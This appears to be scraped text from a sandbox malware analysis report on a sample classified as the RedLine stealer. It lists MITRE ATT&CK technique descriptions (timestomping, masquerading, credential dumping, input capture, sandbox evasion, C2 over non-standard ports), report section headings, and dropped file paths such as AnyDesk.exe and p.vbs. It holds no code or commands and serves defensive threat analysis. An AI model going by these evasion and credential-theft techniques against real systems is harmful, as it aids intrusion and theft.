Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SysrI6zSkJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\WinNet\AnyDesk.exe

C:\ProgramData\WinNet\embedded.exe

C:\ProgramData\WinNet\gcapi.dll

C:\ProgramData\WinNet\gg.exe

C:\ProgramData\WinNet\p.vbs

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\gg.exe.log

C:\Users\user\AppData\Local\Temp\gcapi.dll

C:\Users\user\AppData\Roaming\AnyDesk\ad.trace

C:\Users\user\AppData\Roaming\AnyDesk\service.conf

Windows Analysis Report
SysrI6zSkJ.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre